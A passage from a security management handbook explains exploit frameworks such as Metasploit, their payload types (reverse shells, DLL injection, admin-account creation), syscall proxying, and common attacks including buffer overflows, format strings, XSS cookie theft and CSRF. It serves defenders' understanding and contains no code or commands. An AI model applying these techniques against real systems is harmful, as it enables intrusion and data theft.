thing on the target. Finally, with many different people writing rooters, auto-rooters, and mass-rooters, we have seen the rise of an “exploit mess.” In the olden days of 2003 and before, when a new vulnerability such as a buffer overflow or format string flaw was discovered, crafting exploit code to take advantage of the flaw was usually a painstaking, manual process. Developing an exploit involved handcrafting software that would manipulate memory locations on a target machine, load some of the attacker’s machine-language code into the memory of the target system, and then calculate various offsets needed to make the target box execute the attacker’s code. Some exploit developers then released each of these individually packaged exploit scripts to the public in the form of rooters, auto-rooters, and mass-rooters, setting off a periodic script-kiddie feeding frenzy on vulnerable systems that had not yet been patched. On the other hand, due to the timeconsuming exploit development process, defenders had longer timeframes to apply their fixes. Also, the quality and functionality of individual exploits varied greatly. Some exploit developers fine-tuned their wares, making them highly reliable in penetrating a target. Other exploit creators were less careful, turning out junky sploits that sometimes would not work at all or would even crash a target machine most of the time. Some developers would craft exploits that created a command shell listener on their favorite TCP or User Datagram Protocol (UDP) port, others focused on adding an administrative user account for the attacker on the target machine, and still others embedded even more exotic functionality in their sploits. The developers and users of exploits were faced with no consistency, little code reuse, and wideranging quality; in other words, the exploit world was a fractured mess. There was no rhyme nor reason to a lot of these rooters, auto-rooters, and mass-rooters floating around on the Internet. How could someone tame such a mess?
Step 4. Exploitation Engine To help tame this mass of different exploits, two brilliant information security researchers, H. D. Moore and spoonm, released the Metasploit framework. This tool, which runs on Linux, BSD, and Windows (with a Perl interpreter such as ActiveState Perl), creates a modular interface for tying together exploits, payloads, and targeting information. By creating a simple yet powerful architecture for stitching together custom exploits from modular building blocks, the Metasploit framework is an ideal tool for attackers and penetration testers. Exploit frameworks try to tame the exploit mess by creating a consistent environment for developing, packaging, and using exploits. In a sense, these tools act as assembly lines for the mass production of exploits, doing about 75 percent of the work needed to create a brand-new, custom sploit. It is kind of like what Henry Ford did for the automobile. Ford did not invent cars. Dozens of creative hobbyists were handcrafting automobiles around the world for decades when Mr. Ford showed up on the scene. Henry revolutionized the production of cars by introducing the moving assembly line, making automobile production faster and less expensive. In a similar fashion, exploit frameworks partially automate the production of sploits, making them easier to create and therefore more plentiful. The essential components of Metasploit are shown in Figure 44.4. The tool holds a collection of exploits themselves, little chunks of code that force a victim machine to execute the attacker’s payload. Metasploit has over 50 different exploits today, including numerous common buffer overflow attacks. Next, the tool offers a set of payloads, the code the attacker wants to run on the target machine. Some payloads create a command-shell listener on a network port, waiting for the attacker to connect and get a command prompt. Other payloads give the attacker direct control of the victim machine graphical user interface (GUI) across the network by surreptitiously installing virtual network computing (VNC), the GUI remote-control tool. Users of any of these exploit frameworks do not even have to understand how the exploit or payload works. They simply run the user interface, select an appropriate exploit and payload, and then fire the resulting package at the target. The tool bundles the exploit and payload together, applies a targeting header, and launches it across the network. The package arrives at the target, and the exploit triggers the payload, running the attacker’s chosen code on the victim machine. These are the things of which script-kiddie dreams are made.
544
Information Security Management Handbook
User Interfaces
Exploit Collection
Payload Collection Payload 1
Exploit 1
Payload 2
Exploit 2
Choose • • •
• • •
Exploit N
Payload N
Exploit Development Support Tools
Vulnerabilityfinding tools
Payload injection tools
Memory region size, location, and offset helper tools
Armoring tools to dodge detection and filters
An exploit framework stitches these together and launches them ... Exploit 2 Overflow in LSASS
Payload 1 Network Listening Shell
Targeting Info
Launcher
Send to target
FIGURE 44.4 The components of Metasploit, an exploitation framework.
The Metasploit user interface comes in three forms: a console interface (for simple navigation between various options), a command-line interface, and a Web-based interface (for using a browser and Web server to configure the tool). The attacker first selects the exploit that will be included in the package. Some exploits have an option simply to check if the target is vulnerable, without actually executing any payload. Other exploits just attack the system, running the attacker’s chosen payload. The attacker then sets the target, which includes the Internet Protocol (IP) address and destination port. Additionally, for those payloads that require communication back with the attacker’s machine, such as a reverse shell, the attacker can include a system address and port number where a listener is waiting to catch a shell shoveled back from the victim machine. Finally, the attacker selects the payload. Most of the exploits have payloads, which include firing up a command shell listener or a reverse shell. For the few exploits that do not have payloads, the attacker can select a command to run on the target. After configuring each of these items, as well as any options, the attacker can launch the exploit against the target. The Metasploit framework currently includes about 50 different exploits, with a heavy focus on Windows machines. Given the flexibility of the tool and the prolific work of the tool’s authors, we are likely to see many more exploits added in the future. When new holes are discovered and exploitation code is written, adding a new exploit to the Metasploit framework is quite straightforward. The current exploits include some of the most widely used exploits over the past several years on Windows, Linux, Solaris, and other operating systems. It is quite a powerful exploitation tool and a framework for rapid expansion. The primary goals of the Metasploit payloads include functioning in most environments (e.g., working across various operating system patch levels, hotfix installs, service packs) and cleaning up after themselves (e.g., do not leave the system or a service crashed). The payloads available within the framework include: • Bind shell to current port — This payload opens a command shell listener on the target machine using the existing TCP connection used to send the exploit. • Bind shell to arbitrary port — This opens a command shell listener on any TCP port the attacker chooses.
The Evolution of the Sploit
545
• Reverse shell — This payload shovels a shell back to the attacker on a TCP port of the attacker’s choosing. That way, a session is initiated from the victim machine, outbound toward the attacker machine, with a much greater likelihood of being allowed out through a firewall. From the perspective of the firewall, this is an outbound connection. From the attacker’s perspective, it behaves like inbound command shell access, with the victim machine polling the attacker for commands to run. • Windows VNC server DLL inject — This payload allows the attacker to remotely control the GUI of the victim machine, using the VNC tool, sent as a payload. The VNC runs inside the victim process, so it does not have to be installed on the victim machine. Instead, it is inserted as a dynamic link library (DLL) inside the vulnerable process. • Reverse VNC DLL inject — This payload inserts the VNC as a DLL inside the running process and then tells the VNC server to make a connection back to the client, in effect shoveling the GUI. Such functionality is scary and amazing at the same time. • The meterpreter — This general-purpose payload carries a DLL to the target box to give commandline access. Its beauty is threefold: (1) The meterpreter does not create a separate process to execute the shell (such as cmd.exe or /bin/sh would) but instead runs inside the exploited process; (2) the meterpreter does not touch the hard drive but gives access purely by manipulating memory; and (3) if the target machine has been configured in a chrooted environment so the vulnerable program does not have access to critical commands, then the meterpreter can still run its built-in commands within the memory of the target machine, regardless of the chroot limitation. • Inject DLL into running application — This payload injects an arbitrary DLL into the vulnerable process and creates a thread to run inside that DLL. Thus, the attacker can make any target process take any desired action, subject to the privilege limitations of that target program. • Create local admin user — This payload creates a new user in the administrator group with a name and password specified by the attacker So, the Metasploit engine is pretty nifty and immensely useful in penetration testing. By itself, however, the engine is only part of the story. The engine is limited in that only a certain number of exploits and payloads are built in. When the existing vulnerabilities are patched, the exploits will wither on the vine, unless they are continuously renewed.
Step 5. Exploitation Framework To help bust through this limitation, Metasploit goes much further than the engine. It includes a framework for the development of new exploits and new payloads. That framework is the item that is likely to give Metasploit the chance to become a de facto standard for developing exploits. In discussions with exploit developers, many of them have cited at least an interest in developing new sploits inside the Metasploit framework, and some others have already developed a half dozen or more personal exploits within the framework. The Metasploit framework is built on top of a library created by the Metasploit team. This library is the Perl Exploit Library, or Pex. Pex provides code for several functions useful to developers of exploit code. The overall Pex application programming interface (API) includes functions such as: • Various payloads, as discussed earlier • XOR encoders and decoders to create morphing code to evade detection and filtering • A wrapper for shell-code generation; the attacker can specify specific characters that should be avoided because they are filtered on the target system, and this code generates shell-code payloads that do not have these bytes in any OpCode or addresses • Routines for finding the exact offset in a buffer that overwrites a return pointer; to help an attacker identify where in the submitted input the modified return pointer should be loaded, this code provides input of a specific pattern, and it then includes a routine to look for this pattern starting at a given address on the stack
546
Information Security Management Handbook
• Shell-code creation, which packages up the shell code created based on all of the routines listed above in a tight piece of code ready to launch at the victim Metasploit also includes some programs that help an exploit developer analyze code to find possible flaws in it. In particular, Metasploit includes two programs, msfelfscan and msfpescan, that search Linux/UNIX ELF (executable and linking format) or Windows PE (portable executable) binary programs, respectively. These tools look for machine language code that could be a point of vulnerability, including jump equivalents (which are a sign of transition within a program to a subroutine), pop+pop+return sequences (which are a sign that a function call has finished and is returning back to the calling routine), and any other regular expression the user devises. When each tool finds the specific elements being sought, the user can then print out disassembled machine language just before and after the searched-for code. Additional elements of the Metasploit framework include tools to dump the symbols (in essence, the variables) used within a program for analysis. Numerous researchers in the computer underground are working on this area of automating the analysis of executable code to find vulnerabilities. Both within Metasploit and as separate projects, some researchers are trying to create automated tools to find the differences between newly released patches and the original code to help create exploits for unpatched systems in much shorter timeframes, possibly as short as minutes or hours, instead of days. Over the next couple of years, watch for the already short timeframe between vulnerability notification and exploit release to shorten even more. Further, with additional automation of the exploit development craft, expect more plentiful and higher quality exploits as we move forward. So, why would exploit developers write their wares inside of the Metasploit framework? First off, many features are already built into the framework, such as Windows Service Pack independence, being able to determine the offset of the return pointer, and other capabilities. These features simplify the development process greatly. Second, the framework includes over 50 exploits from which to learn. Developers can see how H. D. Moore, spoonm, and various other Metasploit developers handled various issues and use that as a starting point. Third, when an exploit is developed in the framework, the developer can choose from any one of the payloads already included in the framework, which offers instant flexibility without any additional development effort (in fact, less development effort). Further, if a developer works in Metasploit to create an exploit, the resulting code can be inserted directly into Metasploit by just placing its code in the appropriate directories. That is really simple integration, giving the developer three really good user interfaces to choose from. No user interface has to be created, because all of that work has already been done. Also, developers who want a lot of people to start using their exploits will have a relatively large number of users with Metasploit already installed. An embedded base of Metasploit users exists who will more rapidly adopt and utilize the new exploit. So, the Metasploit engine and framework are pretty darned nifty, but they do have some limitations — namely, the prepackaged payloads can only do so much. Although the built-in payloads have some great capabilities, more functionality incurs a cost — size. That means more exploit data has to be created, encoded, and transported across the network to squeeze inside a buffer on the target. The Metasploit developers deal with some of these limitations by supporting staged payloads, which break a payload into smaller chunks for sending to the target. Another limitation of the existing framework is that the canned and compiled payloads of the built-in Metasploit payloads are less flexible. They are a done deal, and creating new ones requires software development.
Step 6. System-Call Proxy Concept All the exploit-related payloads that we have seen so far have a problem: They essentially hard code the actual behavior of the payload into a piece of software that is transmitted to the target system, where it is executed. This is a problem for at least two reasons. First, to change the functionality of the payload, an attacker will have to completely recompile the payload or write brand-new machine language code. This is time consuming and not trivial. Additionally, more complex payloads could get relatively large in size and therefore are less likely to fit into a buffer on the target machine.
547
The Evolution of the Sploit
Attackerʼs Machine
Victim Machine
Payload “runs” here, but syscalls get sent to victim
Syscall stub runs syscalls on behalf of payload
FIGURE 44.5 The syscall proxy concept.
To avoid these problems, the folks at Core Security Technologies introduced a concept in their commercial IMPACT exploitation tool: syscall proxying. In this approach, shown in Figure 44.5, the attackers use a payload that is really a stub to execute system calls on the kernel of the victim machine. An exploit inserts a small (<100 bytes) payload stub on the victim machine. This stub receives syscall requests from the attacker’s machine across the network and runs the system calls on the victim machine. Then, the attacker runs a program of the attacker’s choosing on the attacker’s machine, but, as it runs, whenever it needs to make a call into the kernel (to do anything, such as read a file, open a network socket, or write a file), this program sends the syscall request across the network. Instead of calling into the kernel of the attacker machine, the kernel calls get transmitted to the target, where they are run. In essence, the payload is running on the attacker’s machine from a user-mode perspective and can be of arbitrary length and complexity. It could be a port scanner, a vulnerability scanner, or any other program. But, whenever this program tries to interact with the local machine, those system calls are sent across the network to the victim machine. This concept is something like syscall-level remote procedure calls and is incredibly flexible. The syscall concept is described in detail by Maximiliano Cáceres from Core Security Technologies at http://www1.corest.com/common/showdoc.php?idx=259&idxseccion=11. Their product implementing these ideas is available commercially at http://www1.corest.com/products/ coreimpact/index.php. A similar commercial product is the CANVAS tool by Immunity, available at www.immunitysec.com. To really push this syscall proxy forward, consider the scenario illustrated in Figure 44.6. An attacker uses a system, which we will call system A, to launch an attack. The attacker uses system A to compromise system B. The attacker then uses the syscall proxy concept to push a syscall stub to system B. The attacker then runs a vulnerability scanner on system A but pushes all of its system calls to system B. System B then, in effect, scans for more vulnerable machines. Suppose it discovers one, which we will call system C. It can then take that over, installing a syscall proxy on B and a stub on C and iterating the process. All code executes on the attacker’s box (system A) but takes effect on the remote systems, giving the attacker staged, level-by-level access through various targets across the network. Making matters even more interesting, because the syscall proxies run in the memory of the vulnerable process of the victim machine, they do not even have to touch the hard drive. If an attacker is careful and deploys the proxy stubs entirely in memory, they can all be rolled back at the end of the attack, returning all compromised systems to their original state. No alterations to the file system on the hard drive are required. Fantasy? Nope. The commercial Core IMPACT and Immunity CANVAS tools already do this. In effect, these tools act as automated penetration testing tools, deploying “agents” (which are the syscall proxy stubs) to vulnerable hosts that are then used to scan for and compromise more hosts. It is all packaged up in a slick GUI as well with many dozen exploits built-in.
Future Evolution So, where is all of this headed? We can expect to see many more developers beginning to write exploits and payloads for Metasploit in the near future, given its free and open-source nature. Watch for a flourishing of capabilities within the Metasploit framework. We will also likely see additional flexible exploit and payload creation tool kits that let attackers use pieces parts written by others. Finally, we may see “GUI-ification” of the freely available exploit tools to make them easier to use. Sure, Metasploit already includes a GUI, but it is not as point-and-click intuitive as commercial tools such as Core IMPACT and
548
Information Security Management Handbook
Attackerʼs Machine System A Syscall Proxy
System B Syscall Stub Syscall Proxy
System C Syscall Stub Syscall Proxy
FIGURE 44.6 Using the syscall proxy concept to undermine a series of machines.
Immunity CANVAS. These tools auto-discover a vulnerable system, let their user click on it to deploy a syscall proxy, and then use it to further explore the network. We may see something approaching that ease of use for the free tools in the future. So, as we have seen, the exploit code has undergone a revolution recently. With the more flexible concepts and tools now released, we can expect to see a rapid increase in the number, quality, and capabilities of future exploits. At the SANS Institute’s Internet Storm Center (isc.sans.org), when a new vulnerability is announced, we often see widespread port scanning for the vulnerable service begin immediately, even before an exploit is released publicly. Some of this scanning may be caused by developers who have already quickly created an exploit, but a lot of it is likely due to anticipatory scanning. That is, even script-kiddie attackers know that an exploit will likely soon be created and released for a choice vulnerability, so they want an inventory of juicy targets as soon as possible. When the exploit is then actually released, they pounce. Today, quite often, the exploit is released as part of an exploit framework first. In fact, exploit frameworks such as Metasploit have produced a large number of script kiddies who are better armed than ever. Today’s exploits are easier to use, even for those who do not understand how the underlying tools work. It is trivially easy to operate Metasploit. Our situation is comparable to the original days of the SATAN security scanner back in 1995. Back then, some security professionals complained that SATAN made discovering vulnerable systems too easy for the attackers, turning their system-by-system discovery of vulnerable systems by hand into an automated affair. Now, when security people see a demo of Metasploit for the first time, they complain that the tool makes conquering a target just too easy for the bad guys. Sometimes, again, they moan that it is just not fair. But, who cares about whether or not these tools are fair? The attackers use them anyway, and we need to be ready. Furthermore, in addition to shortening development time and effort, exploit frameworks have simultaneously increased the quality of exploit code, making the bad guys much more dangerous. Unlike the handcrafted, individual exploit scripts of the past, the sploits written in an exploit framework are built on top of time-tested, interchangeable modules. Some seriously gifted exploit engineers created these underlying modules and have carefully refined their stuff to make sure it works reliably. Thus, an attacker firing an exploit at a target can be much more assured of a successful compromise.
The Evolution of the Sploit
549
Using Exploit Frameworks for Good Purposes Exploit frameworks are not just evil. They can also help us security professionals to improve our practices as well. One of the most common and obvious ways the good guys use exploit frameworks is to enhance their penetration testing activities. With a comprehensive and constantly updated set of exploits and payloads, a penetration tester can focus more on the overall orchestration of an attack and analyzing results instead of spending exorbitant amounts of time researching, reviewing, and tweaking individual exploits. Furthermore, for those penetration testers who devise their own exploit code and payloads, the frameworks offer an excellent development environment. Exploit frameworks do not completely automate pen test exercises, though. An experienced hand still needs to plan the test; launch various tools, including the exploit framework; correlate tool output; analyze results; and iterate to go deeper into the targets. Still, when performing penetration testing in-house, the team could significantly benefit from these tools, performing more comprehensive tests in less time. Those readers who rely on external penetration testing companies should ask them which of the various exploit frameworks they use and how they apply them in their testing regimen to improve their attacks and lower costs. One of the most valuable aspects of these tools for information security professionals involves minimizing the glut of false positives from vulnerability-scanning tools. Chief information security officers (CISOs) and auditors often lament the fact that many of the high-risk findings discovered by a vulnerability scanner turn out to be mere fantasies, an error in the tool that thinks a system is vulnerable when it really is not. Such false positives sometimes comprise 30 to 50 percent or more of the findings of an assessment. Getting the operations team to do the right thing in tightening and patching systems is difficult enough without sending them vulnerability information that is wrong half the time, in this boywho-cried-wolf scenario. Exploit frameworks help alleviate this concern. The assessment team first runs a vulnerability scanner, and generates a report. Then, for each of the vulnerabilities identified, the team runs an exploit framework to actually verify the presence of the flaw. Real problems can then be given a high priority for fixing. Although this high degree of certainty is invaluable, it is important to note that some exploits inside of the frameworks still could cause a target system or service to crash; therefore, be careful when running such tools and make sure the operations team is on standby to restart a service if the exploit does indeed crash it. In addition to improving the accuracy of security assessments, exploit frameworks can be used to check the functionality of intrusion detection system (IDS) and intrusion prevention system (IPS) tools. Occasionally, an IDS or IPS may seem especially quiet. Although a given sensor may normally generate a dozen alerts or more per day, sometimes an extremely quiet day might occur, with no alerts coming in over a large span of time. When this happens, many IDS and IPS analysts start to get a little nervous, worrying that their monitoring devices are dead, misconfigured, or simply not accessible on the network. Compounding the concern, we may soon face attacks involving more sophisticated bad guys launching exploits that actually bring down IDS and IPS tools, in effect rendering our sensor capabilities blind. The most insidious exploits would disable the IDS and IPS detection functionality and put the system in an endless loop, making it appear as though things are fine but in reality they are blind to any actual attacks. To make sure the IDS/IPS tools are running properly, consider using an exploit framework to fire some sploits at them on a periodic basis, such as once a day. Sure, it is possible to run a vulnerability-scanning tool against a target network to test its detection capabilities, but that would trigger an avalanche of alerts. A single sploit will indicate whether or not a detector is still running properly. One final benefit offered by exploit frameworks should not be overlooked — improving management awareness of the importance of good security practices. Most security professionals have to work really hard to make sure management understands the security risks their organizations face, with an emphasis on the need for system hardening, thorough patching, and solid incident response capabilities. Sometimes, management’s eyes glaze over hearing for the umpteenth time the importance of these practices. Yet, a single sploit is often worth more than a thousand words. Set up a laboratory demo of one of the exploit frameworks, such as Metasploit. Build a target system that lacks a crucial patch for a given exploit in the framework, and load a sample text file on the target machine with the contents “Please do not
550
Information Security Management Handbook
steal this important file!” Pick a very reliable exploit, such as the MS RPC DCOM attack against an unpatched Windows 2000 system. Then, after testing the demo to make sure it works, invite management to watch how easy it is for an attacker to use the point-and-click Web interface of Metasploit to compromise the target. Snag a copy of the sensitive file and display it to your observers. When first exposed to these tools, some managers’ jaws drop at their power and simplicity. As the scales fall from their eyes, the plea for adequate security resources may now reach a far more receptive audience.
45 Computer Crime Christopher A. Pilewski
What Is Computer Crime? Computer crime is not easily defined. Metaphorically, computer crime is a universe of technology and exploits that expands and shifts on a daily basis. Practically, we are left with the most basic and intuitive of definitions for computer crime: criminal activity that involves the use of one or more computers. Though simple, this definition serves to separate computer activity that may only be obnoxious, irritating, or offensive from that which is actually in violation of law. This is the essence of criminality, computerrelated or otherwise. This chapter examines computer crime in three stages: concepts, common computer crimes, and tactics of the security professional in dealing with computer crime.
Concepts Computer crime commonly takes one of a few familiar, highly general forms: (1) fraud, (2) theft, (3) destruction, (4) disruption, and (5) conspiracy. Examination of these abstract forms will lend insight into computer crime and what the security practitioner can do about it.
Fraud Fraud is the misrepresentation of information. The end goal of fraud may be monetary or some other type of specific gain, or it may grant a more general advantage to the perpetrator. Depending on the exact circumstances, fraud may be criminal in itself, whether it leads to any further ends or not. This fact is particularly evident in certain areas of legal and regulatory compliance such as the Health Insurance Portability and Accountability Act (HIPAA), Sarbanes–Oxley, and others.
Theft Theft is probably the most familiar type of computer crime; in fact, identity theft has become a household word. Theft is not restricted to only this type, however. Computer-related theft also may include theft of funds, theft of information, theft of physical property, or theft of intellectual property. This category can encompass anything from the misappropriation of computer hardware to various forms of industrial espionage. The end goal, however, is typically a targeted, tangible, or economic gain of some kind.
Destruction Destruction is one of the most familiar forms of computer crime. Information (or the devices that it resides on) may be destroyed for any number of reasons. Perhaps a database is destroyed as a punitive act against its owner, or a log file is altered or destroyed because it contains something damaging about
551
552
Information Security Management Handbook
other criminal activity. Most security professionals encounter destruction of information in a more familiar form: computer viruses and other kinds of malware. Malware threats represent one of the most damaging and costly areas of computer crime because malware threats are both numerous and diverse. Although viruses, Trojans, worms, and other kinds of malware have specific definitions (depending on the way they are propagated and spread), more and more malware threats are classified as multivector or blended threats, because they have characteristics of more than one specific type. A computer virus, Trojan, or worm may destroy files, sectors on a disk, or entire file systems. Depending on the specifics of the threat, it may spread by infecting other files and drives, the local area network, a Web page, e-mail, or any combination of these. What distinguishes malware from most other types of computer crime is that, unlike simple fraud or theft, the end goal of malware authors is often unclear and devoid of any direct gain for the perpetrator. An author of a virus or worm may release it without any idea of where (or how many places) it will eventually strike. The unfocused nature of this type of computer crime makes it difficult to understand and even more difficult to predict.
Disruption Disruption is also a familiar concept. Examples of criminal disruption would include triggering a fire alarm without cause, making a bomb threat, or yelling “fire” in a theater. It is questionable in these situations if the perpetrator intends to do permanent harm or not, but there is clear intent to disrupt the prevailing activity or the well-being of the victims. Disruption may be focused (against specific individuals or against a specific firm), or it may be relatively unfocussed and target the public at large. The most common type of disruption in computer crime is the denial of service (DoS) attack. This type of attack typically immobilizes or crashes a system by sending large amounts of network traffic to it such that it is unable to process legitimate requests, or the attack may use a series of crafted datagrams to exploit a known service vulnerability or simply fill up the system’s disk. The variety of DoS attacks is almost endless. These attacks frequently target specific destination hosts belonging to a company or to an individual, but they also may target gateway nodes or servers of an Internet service provider in an attempt to disrupt service on the Internet. Some DoS attacks have targeted computer systems that control community services, such as traffic lights, government agencies, and emergency response. Goals and motivations for this type of computer crime are similar to those that may appeal to authors of malware. Service disruption is often devoid of direct economic gain for the perpetrator, but, unlike malware, service and system disruptions are frequently targeted in one fashion or another. Computer criminals may direct DoS attacks against online businesses or fellow computer hackers that they have something against. Also, a particular DoS attack may be launched by a perpetrator simply to test or demonstrate their skills in this area.
Conspiracy Conspiracy represents one of the least understood forms of computer crime. At a conceptual level, a conspiracy is simply an agreement between two or more individuals to commit an illegal act. Legally, conspiracy has been expanded to include agreements and consultations, as well as acts that are either illegal or injurious to the public or to specific individuals. This type of crime may become a computer crime whenever computers, networks, e-mail systems, chat rooms, instant message agents, and other systems are used to facilitate such an agreement or consultation. The almost unlimited examples of conspiracy are large and small, simple and complex. What the security practitioner must understand is that the actual illegal or injurious act does not have to take place for conspiracy itself to take place. In other words, planning a crime may be an offense in and of itself, whether the crime is actually committed or not. The following brief anecdotes illustrate examples of conspiracy involving computers: • In a series of instant messages, the murder of an individual is materially discussed between two participants. • During a chat room session, participants detail a plan to steal credit card numbers from an online business.
Computer Crime
553
• In an exchange of e-mails between business executives, they agree to release fraudulent financial reports for their publicly traded firm. Note that conspiracy takes place between two or more individuals. Demonstrated intent (by a single individual) to commit a crime may also be criminal (as in the case of terrorist threats) but would not constitute conspiracy as this chapter defines it. Security practitioners and system administrators must be acutely aware of the role that computer systems, logs, and other files play in the chain of evidence when conspiracy is prosecuted and should be equally aware of their obligations to report when they possess knowledge of agreements or discussions that constitute conspiracy or of other types of criminal activity.
Common Computer Crimes The two basic tactics of computer criminals are attacking the computers and attacking the people. Attacking the computers can be thought of as system and network penetration. Attacking the people introduces the world of social engineering. Both are commonly used, and they are often used in combination.
System Attack and Penetration Computer systems can be penetrated in a variety of ways. The most common way is the exploitation of technical vulnerabilities locally or remotely over a network interface, or simply “exploits.” Successful exploitation of a technical vulnerability typically leads to one of two outcomes: denial of service or privilege escalation. Denial of service, as noted earlier, refers to any attack that keeps a system from servicing legitimate, intended requests. Privilege escalation results from successful exploitation of specific services or applications that run at a higher privilege level than that intended for normal access. Privilege escalation may provide an intruder with root access to a particular system. This would allow the attacker full, uninhibited access to the systems services, applications, databases, accounts, and file system, Because the system is still (apparently) operating normally, however, system penetration resulting in privilege escalation may be more subtle and more difficult to detect.
Exploit Examples The Slammer Worm A well-known example of an exploit leading to denial of service is the Slammer worm, also called “sapphire” or “SQL Slammer.” On January 25, 2003, the Slammer worm began infecting vulnerable versions of Microsoft SQL Server 2000 and MSDE 2000. The function of the worm was conceptually simple: Exploit the host, scan for more vulnerable hosts, and then exploit them. The Slammer worm was able to exploit a buffer-overflow vulnerability in the indexing service of vulnerable machines with a single User Datagram Protocol (UDP) packet on port 1434. When it became infected, the host began scanning. The scanning process of this worm is what made it unique. The Slammer worm used a form of pseudorandom number generation for its scanning process that had very different characteristics from those used in previous worms (such as CodeRed), allowing it to spread much faster. When a vulnerable host was detected by the infected system, it was quickly infected with the UDP packet. In the first 30 minutes after Slammer was launched, it managed to infect nearly 75,000 systems. A single infected system could scan thousands of new systems per second, limited primarily by the available bandwidth of the system’s connection to the Internet. This rapid scanning, in fact, was the real Achilles heel of the Slammer worm. The scanning process consumed so much bandwidth on the Internet that propagation of the worm was inhibited. Although the Slammer worm caused a great deal of damage simply because of its DoS characteristics, it did not contain a destructive payload within its code. It simply spread very aggressively. Had the author (or authors) of the worm inserted a destructive payload that deleted database tables, transposed numbers, added characters, or otherwise corrupted information, the effects of the Slammer worm would have been infinitely worse.
554
Information Security Management Handbook
Iiscrack A well-known example of an exploit leading to privilege escalation is “iiscrack.” Iiscrack is an exploit utility that allows a remote intruder to crack Microsoft IIS 5.0 and execute commands on the server. A typical attack can be performed by compiling or downloading iiscrack (it is freely available on the Internet) and copying it to the scripts directory of the target server. It can then be loaded with a Web browser to provide system-level access (higher than administrator). The attacker may use this access to deface the server’s Web content, use the system to launch other attacks, load additional tools, or simply use iiscrack alone.
Exploit Types Buffer Overflows Although these two exploit examples have different end results (DoS and privilege escalation), they have something in common as well. Both exploits use a general attack technique known as buffer overflow. Buffer overflows are at the center of many exploits. At its simplest level, a buffer overflow occurs when a program writes information beyond the allocated end of a data buffer in memory. Buffer overflows may be caused by software programming errors and thus result in random information being written beyond the end of the buffer. In turn, the error may cause the application, the service, or the entire system to hang or crash. Buffer overflows also occur maliciously. Input can be crafted to exceed input buffers with machine code. Malicious code can overwrite the instruction pointer in the system stack and change the execution path, thus executing arbitrary code at a location arranged by the attacker. If the application or service is running with root permission on the system, typically the chained arbitrary code will also run at this level. This is exactly what happens when iiscrack is used against Microsoft IIS version 5.0. Buffer overflow vulnerabilities have been discovered in virtually all major production operating systems and many applications. They are most common in software written with the programming languages C, C++, and Assembly. This is because these languages require the programmer to manage memory allocation. Other languages manage memory more dynamically or include other mechanisms to reduce or prevent buffer overflows. They may, however, still have library dependencies that introduce the risk of buffer overflows. Format Strings Format string vulnerabilities closely resemble buffer overflow vulnerabilities in many respects. The general theme is the same: Crafted input that differs from what the programmer anticipates and codes for can result in DoS or privilege escalation. The vulnerable population is also similar — operating systems and application software coded in the C language that use certain language functions, specifically functions that use formatted input such as the printf() function. The source of this problem is the fact that the C programming language passes function arguments without type checking or validation. Recall that C is a medium-level language built for speed that relies entirely on the programmer for input validation. In a correctly written C program, input and output must conform to the format strings that the programmer includes in the function call. But, if the user input is not validated against the format string, the user may intentionally or unintentionally compromise the system. C language functions known to be vulnerable include printf(), sprintf(), snprintf(), and syslog(), among others. Hundreds of format string vulnerabilities have been cataloged on the common vulnerabilities and exposures (CVE) list, and many have multiple exploits. Format string attacks vary, but common methods include using multiple “%s” descriptors to read data from the stack until an illegal address is read, resulting in DoS, or using other descriptors (such as %u, or %x) to overwrite the instruction pointer and execute arbitrary code. Cross-Site Scripting Cross-site scripting (also called XSS) is typically not thought of as an attack on a particular system; instead, it can be thought of as an attack on the communication between a Web server and a user to gather specific information that belongs to the user. The information gathering itself is usually performed
Computer Crime
555
from a contaminated HTML hyperlink. Because many desktop applications are HTML aware, many applications can facilitate this kind of information gathering, including Web browsers, e-mail clients, instant message clients, and message boards. Technically, neither the computer system belonging to the user nor the Web server is penetrated as they are in the exploit examples above. Instead, this type of attack exploits the trust that a user has for a given Web site on the Internet. The most common way that this type of attack is carried out is to first append additional code into a hyperlink. The code itself can be in several different scripting languages: JavaScript, VBscript, or others. ActiveX, Flash, or other platforms may be used as well. The script itself can be imbedded into a HTML hyperlink simply by using the “<script>“ HTML tag. The script is often executable in clear text, but many times it will be encoded in HEX to make it appear less suspicious. The hyperlink can be delivered through a compromised Web page or simply through an e-mail or a post to an Internet forum. An e-mail may be crafted to appear to be from a vendor that the user trusts, or it may use social engineering techniques to manipulate a user to click on it (such as “remove your e-mail address from our list.” When the hyperlink is clicked, the resulting Web page may appear perfectly normal, but the script may have also captured the user’s cookie, delivering the user to another site set up by the attacker. This is by no means the only type of information that a computer criminal may be after, but cookie theft is a common goal of cross-site scripting. When the cookie has been acquired, the cookie thief can often reverse engineer it to obtain a number of details about the user. Precisely how damaging this type of attack can be will depend on the information actually stored in the cookie, but typically cookies contain a username and often a password as well. Depending on the type of site, the cookie may contain account numbers, residential information, financial information, or all of these. Even if the cookie contains very little, more information can be gathered from the Web site itself if the stolen cookie facilitates the ability to log-in to the Web site. After logging in with the user’s username and password, the thief can steal various account details or hijack the account by resetting the password. The username and password could also be used on other Web sites where the user is likely to have accounts. For example, stealing a cookie from an online book seller would provide a computer criminal with a set of credentials to try against other online booksellers’ Web sites. A computer criminal who can gain access to a user’s e-mail will likely have also gained access to a quick summary of the online purchases that the user has made because most online businesses send order and shipping confirmation e-mail messages. Cross-Site Request Forgery Cross-site request forgery can be thought of as almost the reverse of cross-site scripting. Also called session riding, this is an attack on the communication between a Web site and a user, just like cross-site scripting, but this time it is the Web site’s information that is under attack rather than the users. This type of attack uses cookies without the owner’s knowledge or permission, again usually with a crafted HTML hyperlink that the user is persuaded to click on. The crafted hyperlink uses a Web application path (that must be known in advance) that sends the user’s cookie along with a specific request. Note that, for the attack to be successful, the user’s computer must have a valid (and unexpired) cookie for the Web site under attack. Also, the attacker does not need to steal the cookie or know anything specific about its contents for the attack to be successful. Ultimately, cross-site request forgery is an attack on trust. Any request from a user’s browser reflects that user’s true intentions. Although this type of attack has a variety of potential targets, auction sites seem to be a particular favorite. In a typical attack on an auction site, the attacker will use cross-site request forgery to issue spoofed bids for an item he has placed on the site to increase its selling price. The attacker must experiment with the auction site itself to determine the execution path and parameters of the Web application and develop a crafted hyperlink. The attacker can then deliver the hyperlink via a mass mailing, another Web page, or some other means. The message and hyperlink often take the form of “You’ve just won a [prize]” or “Click here to redeem your [prize].” They may be more subtle, however, such as: “Your bid for the item has been received; click here to cancel.” Ordinary users are often easily persuaded to click on these hyperlinks because they are unaware that doing so can be dangerous. A mass
556
Information Security Management Handbook
